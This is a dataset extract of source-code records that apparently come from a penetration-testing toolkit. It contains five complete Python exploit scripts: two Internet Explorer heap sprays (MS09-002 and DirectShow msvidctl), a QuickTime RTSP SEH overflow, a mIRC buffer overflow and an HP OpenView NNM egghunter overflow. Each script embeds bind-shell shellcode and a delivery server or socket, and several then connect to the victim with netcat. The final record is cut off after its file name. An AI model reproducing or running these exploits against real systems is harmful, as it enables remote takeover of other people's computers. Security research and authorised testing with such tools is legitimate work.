id
int64
0
458k
file_name
stringlengths
4
119
file_path
stringlengths
14
227
content
stringlengths
24
9.96M
size
int64
24
9.96M
language
stringclasses
1 value
extension
stringclasses
14 values
total_lines
int64
1
219k
avg_line_length
float64
2.52
4.63M
max_line_length
int64
5
9.91M
alphanum_fraction
float64
0
1
repo_name
stringlengths
7
101
repo_stars
int64
100
139k
repo_forks
int64
0
26.4k
repo_open_issues
int64
0
2.27k
repo_license
stringclasses
12 values
repo_extraction_date
stringclasses
433 values
19,400
ms09002.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ms09002.py.svn-base
#!/usr/bin/env python ############################################################################### # MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) # ############################################################################### # # # Thanks to str0ke for finding this in the wild. # # # # Tested on Windows 2003 SP2 R2 # # # # Written by SecureState R&D Team (ReL1K) # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ############################################################################### from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler #import os #import sys #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # Site root: Main Menu if self.path == "/": target=self.client_address[0] self.wfile.write("""<html><head>""") self.wfile.write("""<div id="replace">x</div> <script language="JavaScript"> // win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ var c = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3"); var array = new Array(); var ls = 0x100000-(c.length*2+0x01020); var b = unescape("%u0C0C%u0C0C"); while(b.length<ls/2) { b+=b;} var lh = b.substring(0,ls/2); delete b; for(i=0; i<0xC0; i++) { array[i] = lh + c; } CollectGarbage(); var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA"); var a1 = new Array(); for(var x=0;x<1000;x++) a1.push(document.createElement("img")); function ok() { o1=document.createElement("tbody"); o1.click; var o2 = o1.cloneNode(); o1.clearAttributes(); o1=null; CollectGarbage(); for(var x=0;x<a1.length;x++) a1[x].src=s1; o2.click; } </script><script>window.setTimeout("ok();",800);</script>""") self.wfile.write("""<title>Microsoft Internet Explorer 7 Memory Corruption Exploit</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Exploit is running...</p><br>""") print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-]NetCat to IP Address: %s and port 5500 [-]" % (target)) #print ("[-] Example: open up a command shell and type 'nc %s 5500' [-]" % (target)) # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer(('', 80), myRequestHandler) print (""" ######################################################################### MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) ######################################################################### # # # Thanks to Str0ke for finding this in the wild. # # # # Tested on Windows 2003 SP2 R2 # # # # Written by SecureState R&D Team # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai bind # # # ######################################################################### """) print (" [-] Starting MS Internet Explorer 7 Memory Corruption Exploit [-]") print (" [-] Have someone connect to you on port 80 [-]") print (" <ctrl>-c to Cancel") try: # handle the connections httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print ("\n\n Exiting Fast-Track...\n\n") raise KeyboardInterrupt
5,296
Python
.py
104
45.942308
1,053
0.594668
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,401
quicktime.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/quicktime.py.svn-base
#!/usr/bin/env python # # Quicktime 7.3 RTSP BufferOverflow Exploit # # Original DoS exploit by h07 # Rewritten by: ReL1K # SEH Overwrite # # A ton of help from Muts from offensive-security. # # root@sslinux1:/home/relik/Desktop# python quicktime.py # [+] Listening on [RTSP] 554 # [+] Connection accepted from: 10.211.55.5 # [+] Done, connect to 10.211.55.5 on port 3333 # root@sslinuxvm12:/home/relik/Desktop# nc 10.211.55.5 3333 # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Program Files\QuickTime> from socket import * import subprocess import time import os import sys #from bin.include import print_banner header = ( 'RTSP/1.0 200 OK\r\n' 'CSeq: 1\r\n' 'Date: 0x00 :P\r\n' 'Content-Base: rtsp://0.0.0.0/1.mp3/\r\n' 'Content-Type: %s\r\n' # <-- overflow 'Content-Length: %d\r\n' '\r\n') body = ( 'v=0\r\n' 'o=- 16689332712 1 IN IP4 0.0.0.0\r\n' 's=MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n' 'i=1.mp3\r\n' 't=0 0\r\n' 'a=tool:ciamciaramcia\r\n' 'a=type:broadcast\r\n' 'a=control:*\r\n' 'a=range:npt=0-213.077\r\n' 'a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n' 'a=x-qt-text-inf:1.mp3\r\n' 'm=audio 0 RTP/AVP 14\r\n' 'c=IN IP4 0.0.0.0\r\n' 'a=control:track1\r\n' ) buffer = "\x42" * 991 shortjmp ="\xeb\x30\x90\x90" # eb = short jmp 30 bytes pop = "\x4e\x28\x86\x66" # pop ebx pop ecx retn nopslide="\x90"*60 # win32_bind - EXITFUNC=process LPORT=3333 Size=344 Encoder=ShikataGaNai http://metasploit.com shellcode=("\xbb\xae\xef\x1f\x96\xda\xcc\x2b\xc9\xd9\x74\x24\xf4\x5a\xb1\x51" "\x31\x5a\x12\x83\xc2\x04\x03\xf4\xe1\xfd\x63\xf4\x94\xea\xc1\xec" "\x90\x12\x26\x13\x02\x66\xb5\xcf\xe7\xf3\x03\x33\x63\x7f\x89\x33" "\x72\x6f\x1a\x8c\x6c\xe4\x42\x32\x8c\x11\x35\xb9\xba\x6e\xc7\x53" "\xf3\xb0\x51\x07\x70\xf0\x16\x50\xb8\x3b\xdb\x5f\xf8\x57\x10\x64" "\xa8\x83\xf1\xef\xb5\x47\x5e\x2b\x37\xb3\x07\xb8\x3b\x08\x43\xe1" "\x5f\x8f\xb8\x1e\x4c\x04\xb7\x4c\xa8\x06\xa9\x4f\x81\xed\x4d\xc4" "\xa1\x21\x05\x9a\x29\xc9\x69\x06\x9f\x46\xc9\x3e\x81\x30\x44\x70" "\x33\x2d\x08\x73\x9d\xcb\xfa\xed\x4a\x27\xcf\x99\xfd\x34\x1d\x06" "\x56\x44\xb1\xd0\x9d\x57\xce\x1b\x72\x57\xf9\x04\xfb\x42\x60\x3b" "\x16\x84\x6f\x6e\x83\x97\x90\x40\x3b\x41\x67\x95\x11\x26\x87\x83" "\x39\x9a\x24\x78\xed\x5f\x98\x3d\x42\x9f\xce\xa7\x0c\x52\xea\x41" "\x9e\xe5\x15\x18\x48\x52\xcf\x52\x4e\xcd\x0f\x44\x3a\xe2\xbe\x3d" "\x44\xd2\x29\x19\x17\xfd\x40\x36\x97\xd4\xc0\xed\x98\x09\x8e\xe8" "\x2e\x2c\x06\xa5\x4f\xe6\xc9\x1d\xe4\x52\x15\x4d\x97\x35\x0e\x14" "\x5e\xbc\x87\x19\x88\x6a\xd7\x35\x53\xff\x43\xd3\xf4\x9c\xe6\x92" "\xe0\x09\xa9\xfd\xc3\x01\xc0\x1a\x79\xde\x5a\x06\x4f\x1e\xaf\x6c" "\x4e\xdc\x7d\x8e\xed\xcd\xee\xe3\x88\x35\xba\x50\xc7\x2e\xce\x58" "\xab\xb9\xd1\xd1\x88\x3a\xfb\x42\x46\x97\x55\x25\x39\x7d\x57\x94" "\xe8\xd4\x06\xe9\xdb\xbf\x05\xcc\xd9\xf1\x05\x11\x37\x67\x55\x12" "\x8f\x87\x79\x67\xa7\x8b\xf9\xb3\x2c\x8b\x28\x69\x52\xa3\xbd\xf3" "\x74\xa6\x4d\x58\x7a\xf1\x4d\x8e") # pad the rest of the buffer padding="\x41"*5900 # format the header header %= (buffer+shortjmp+pop+nopslide+shellcode+padding, len(body)) evil = header + body s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", 554)) s.listen(1) #print_banner() print """ Quicktime 7.3 RTSP BufferOverflow Exploit Original DoS exploit by h07 Python rewrite: Muts Rewritten again by: ReL1K SEH Overwrite A ton of help from muts at offensive-security root@sslinux1:/home/relik/Desktop# python quicktime.py [+] Listening on [RTSP] 554 [+] Connection accepted from: 10.211.55.5 [+] Done, connect to 10.211.55.5 on port 3333 root@sslinuxvm12:/home/relik/Desktop# nc 10.211.55.5 3333 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\QuickTime> Simply have someone with Quicktime connect to you with RTSP <ctrl>-c to Cancel """ print "[+] Listening on [RTSP] 554" c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.recv(1024) c.send(evil) print ("[+] Done, connecting to %s on port 3333 in 10 seconds..." % (addr[0])) time.sleep(10) connect=subprocess.Popen("nc %s 3333" % (addr[0]), shell=True).wait() c.close() s.close()
4,189
Python
.py
113
35.40708
95
0.712319
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,402
mirc.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/mirc.py.svn-base
#!/usr/bin/env python from socket import * import subprocess import os import sys import time #from bin.include import print_banner #print_banner() print """ mIRC 6.34 Remote Buffer Overflow Exploit Original Exploit by SkD (skdrat <at> hotmail <.> com) Rewritten by: ReL1K for Fast-Track (perl to python convert) Credits to securfrog for publishing the PoC.\n""" port=raw_input("\n What port do you want to listen on: ") target=raw_input(""" Choose the operating system version: 1. XP Service Pack 3 2. Vista <ctrl>-c to Cancel Enter choice: """) # win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com restricted chars 0x00 0xff shellcode=("\x29\xc9\xb1\x51\xbe\x0e\x06\x17\x06\xda\xdf\xd9\x74\x24\xf4\x5f" "\x31\x77\x0e\x03\x77\x0e\x83\xe1\xfa\xf5\xf3\x01\x68\x11\xb6\x11" "\x94\x1a\xb6\x1e\x07\x6e\x25\xc4\xec\xfb\xf3\x38\x66\x87\xfe\x38" "\x79\x97\x8a\xf7\x61\xec\xd2\x27\x93\x19\xa5\xac\xa7\x56\x37\x5c" "\xf6\xa8\xa1\x0c\x7d\xe8\xa6\x4b\xbf\x23\x4b\x52\xfd\x5f\xa0\x6f" "\x55\x84\x61\xfa\xb0\x4f\x2e\x20\x3a\xbb\xb7\xa3\x30\x70\xb3\xec" "\x54\x87\x28\x11\x49\x0c\x27\x79\xb5\x0e\x59\x42\x84\xf5\xfd\xcf" "\xa4\x39\x75\x8f\x26\xb1\xf9\x13\x9a\x4e\xb9\x23\xba\x38\xb4\x7d" "\x4c\x55\x98\x7e\x86\xc3\x4a\xe6\x4f\x3f\x5f\x8e\xf8\x4c\xad\x11" "\x53\x4c\x01\xc5\x90\x5f\x5e\x2e\x77\x5f\x49\x0f\xfe\x7a\x10\x2e" "\xed\x8d\xdf\x65\x84\x8f\x20\x55\x30\x49\xd7\xa0\x6c\x3e\x17\x9c" "\x3c\x92\xb4\x73\x90\x57\x68\x30\x45\xa7\x5e\xd0\x01\x46\x03\x7a" "\x81\xe1\x5a\x17\x4d\x56\x86\x67\x49\xc1\x48\x51\x3f\xfe\xe7\x08" "\x3f\x2e\x6f\x16\x12\xe1\x99\x01\x92\x28\x0a\xf8\x93\x05\xc5\xe7" "\x25\x20\x5f\xb0\x4a\xfa\x30\x6a\xe1\x56\x4e\x42\x9a\x31\x57\x1b" "\x5b\xb8\xc0\x24\xb5\x6e\x10\x0a\x5c\xfb\x8a\xcc\xc9\x98\x3f\x99" "\xef\x35\x90\xc0\xc6\x05\x99\x15\x72\xd2\x13\x3b\xb2\x1a\xd0\x11" "\x4b\xd8\x3a\x9b\xf6\xf1\xd7\xee\x8d\x31\x73\x5b\xda\x2a\xf1\x65" "\xae\xbd\x0a\xec\x95\x3e\x22\x55\x41\x93\x9a\x38\x3c\x79\x1c\xeb" "\xef\x28\x4f\xf4\xc0\xbb\xc2\xd3\xe4\xf5\x4e\x1c\x30\x63\x8e\x1d" "\x8a\x8b\xa0\x6a\xa2\x8f\xc2\xa8\x29\x8f\x13\x62\x4d\xbf\xf4\x72" "\x3b\x44\x5a\x21\xc3\x93\x9b\x15") overflow = "\x41"*307 overflow2 = "B"*12 eip_vista = "\x66\x1c\xc2\x76" #Normaliz.DLL pop pop ret eip2_vista = "\xd3\xdb\x54\x77" #MSFCT.DLL jmp esp eip_xpsp3 = "\xd1\xfb\x92\x77" #SETUPAPI.DLL 0x7792FBD1 pop eax pop ret eip2_xpsp3 = "\xb7\x87\x9d\x77" #SETUPAPI.DLL 0x779D87B7 jmp esp addr = "\xb5\xb5\xfd\x7f" nop_sled = "\x90"*4 jmp = "\xEB\x03\xFF\xFF" if target=='1': evil=overflow+eip_xpsp3+addr+nop_sled+eip2_xpsp3+nop_sled+overflow2+jmp+nop_sled+shellcode+nop_sled if target=='2': evil=overflow+eip_vista+addr+nop_sled+eip2_vista+nop_sled+overflow2+jmp+nop_sled+shellcode+nop_sled s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", int(port))) s.listen(1) print "\n[+] Listening on port %s" % (port) c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.recv(1024) c.send(evil) print "\n Our payload has been sent...connect to the IP Address on port 4444\n" raw_input("[+] Done, press enter to quit\n\n") c.close() s.close()
3,144
Python
.py
67
45.19403
118
0.719596
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,403
hpopenviewnnm.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/hpopenviewnnm.py.svn-base
#!/usr/bin/env python import socket import os import sys from time import sleep from bin.include import print_banner # Alphanumeric egghunter shellcode + restricted chars \x40\x3f\x3a\x2f - ph33r # One egg to rule them all. print_banner() try: target=sys.argv[4] except IndexError: print "HP OpenView NNM Exploit:\n" print """ ********************* NOTE ************************* If this exploit is not executed against the intended target chances are it will not succeed. <ctrl>-c to Cancel """ target=raw_input(" Enter the IP Address to Attack: ") egghunter=( "%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J" "MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5" "21*-q!au-q!au-oGSePAA%JMNU%521*-D" "A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1" "z1E-oRHEPAA%JMNU%521*-3s1--331--^" "TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA" "A%JMNU%521*-R222-1111-nZJ2PAA%JMN" "U%521*-1-wD-1-wD-8$GwP") alignstack="\x90"*34+"\x83\xc4\x03" # win32_bind - EXITFUNC=thread LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com # Spawned shell dies quickly as a result of a parent thread killing it. # Best shellcodes are of the "instant" type, such as adduser, etc. bindshell=("T00WT00W" + alignstack + "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48" "\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x54\x4e\x33\x4b\x38\x4e\x37" "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x41\x4b\x48" "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x55\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48" "\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x32\x4b\x38" "\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x56\x43\x4c\x41\x53\x4b\x4d" "\x46\x46\x4b\x58\x43\x44\x42\x33\x4b\x38\x42\x54\x4e\x30\x4b\x48" "\x42\x47\x4e\x51\x4d\x4a\x4b\x48\x42\x34\x4a\x50\x50\x35\x4a\x36" "\x50\x38\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56" "\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x43\x4a\x36\x47\x57\x43\x57" "\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e" "\x48\x56\x41\x38\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x55\x43\x55\x43\x55\x43\x55\x43\x45\x43\x44" "\x43\x35\x43\x54\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x46\x41\x31" "\x4e\x55\x48\x46\x43\x55\x49\x58\x41\x4e\x45\x59\x4a\x56\x46\x4a" "\x4c\x51\x42\x37\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x51" "\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x32" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x35\x4f\x4f\x42\x4d" "\x4a\x56\x45\x4e\x49\x34\x48\x48\x49\x44\x47\x45\x4f\x4f\x48\x4d" "\x42\x55\x46\x55\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" "\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45" "\x4f\x4f\x42\x4d\x48\x56\x4c\x56\x46\x56\x48\x46\x4a\x46\x43\x56" "\x4d\x36\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x45\x49\x42\x4e\x4c" "\x49\x38\x47\x4e\x4c\x36\x46\x44\x49\x38\x44\x4e\x41\x33\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x44\x4e\x32" "\x43\x39\x4d\x38\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46" "\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x44\x4f\x4f" "\x48\x4d\x4b\x35\x47\x45\x44\x55\x41\x55\x41\x55\x41\x35\x4c\x56" "\x41\x50\x41\x55\x41\x45\x45\x35\x41\x45\x4f\x4f\x42\x4d\x4a\x56" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f" "\x43\x48\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" "\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x35\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a") # 0x6d356c6e pop pot ret somehwere in NNM 7.5.1 evilcrash = "\xeb"*1101 + "\x41\x41\x41\x41\x77\x21\x6e\x6c\x35\x6d" + "G"*32 +egghunter + "A"*100 + ":7510" buffer="GET http://" + evilcrash+ "/topology/homeBaseView HTTP/1.1\r\n" buffer+="Content-Type: application/x-www-form-urlencoded\r\n" buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n" buffer+="Content-Length: 1048580\r\n\r\n" buffer+= bindshell print " [*] Sending evil HTTP request to NNMz, ph33r" expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) expl.connect((str(target), 7510)) expl.send(buffer) expl.close() print " [*] Egghunter working ..." print " [*] Check payload results - may take up to a minute." print " Waiting 60 seconds before starting netcat connect.." sleep(60) ncstart=os.popen2('xterm -T "HP OpenView Network Node Manager CGI Buffer Overflow" -e nc -nv %s 4444' % str(target))
5,080
Python
.py
96
51.260417
116
0.716126
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,404
ie0day_activex.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ie0day_activex.py.svn-base
#!/usr/bin/env python ###################################################################################### # MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890) # ###################################################################################### # # # Written by SecureState R&D Team # # Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ###################################################################################### # Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 # ###################################################################################### # # # This exploit is publicly being exploited in the wild, opted to release this # # to the research community. Microsoft is aware of the vulnerability. # # # ###################################################################################### # # # [-] Exploit sent... [-] # # [-] Wait about 30 seconds and attempt to connect.[-] # # [-] Connect to IP Address: 10.211.55.140 and port 5500 [-] # # # # relik@sslinuxvm1:~$ telnet 10.211.55.140 5500 # # Trying 10.211.55.140... # # Connected to 10.211.55.140. # # Escape character is '^]'. # # Microsoft Windows [Version 5.2.3790] # # (C) Copyright 1985-2003 Microsoft Corp. # # # # C:\Documents and Settings\Administrator\Desktop> # # # # # # NOTE: The javascript code is not obfuscated in anyway, normal A/V should pick this # # up. This is intentional. # # # # Improved reliability, appears to be about 95 percent of the time. Adjusted the # # spray size a bit. # # # ###################################################################################### from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import sys import binascii #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # trigger the overflow *boom* if self.path == "/ohn0es.jpg": unhex=binascii.unhexlify("000300001120340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0c0c0c0c00") self.wfile.write(unhex) if self.path == "/": target=self.client_address[0] self.wfile.write("""<html><head>""") self.wfile.write(""" <script language="JavaScript" defer> function Check() { // win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); // Original spray size below, use if you want exploit to load faster with higher crash rate. // while (block.length + slackspace < 0x40000) block = block + block + fillblock; while (block.length + slackspace < 0x70000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 350; i++){ memory[i] = block + shellcode} var myObject=document.createElement('object'); DivID.appendChild(myObject); myObject.width='1'; myObject.height='1'; myObject.data='./ohn0es.jpg'; // Vulnerable ID myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF'; } </script> </head> <body onload="Check();"> <div id="DivID">""") self.wfile.write("""<title>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890)</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"> ############################################################################### <br>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (MS09-028) <br>Written by SecureState R&D Team <br>Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin <br>http://www.securestate.com <br>win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind <br>Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 <br>###############################################################################<br> <br>""") print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-] Connect to IP Address: %s and port 5500 [-]" % (target)) # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer(('', 80), myRequestHandler) print (""" ##################################################################################### # MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (MS09-028) # ##################################################################################### # # # Written by SecureState R&D Team # # Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ##################################################################################### # Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 # ##################################################################################### """) print (" [-] Starting MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray [-]") print (" [-] Have someone connect to you on port 80 [-]") print ("\n\n <ctrl>-c to Cancel") try: # handle the connections httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print ("\n\n Exiting exploit...\n\n") raise KeyboardInterrupt
8,542
Python
.py
141
54.361702
1,069
0.529116
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,405
hpopenview.py.svn-base
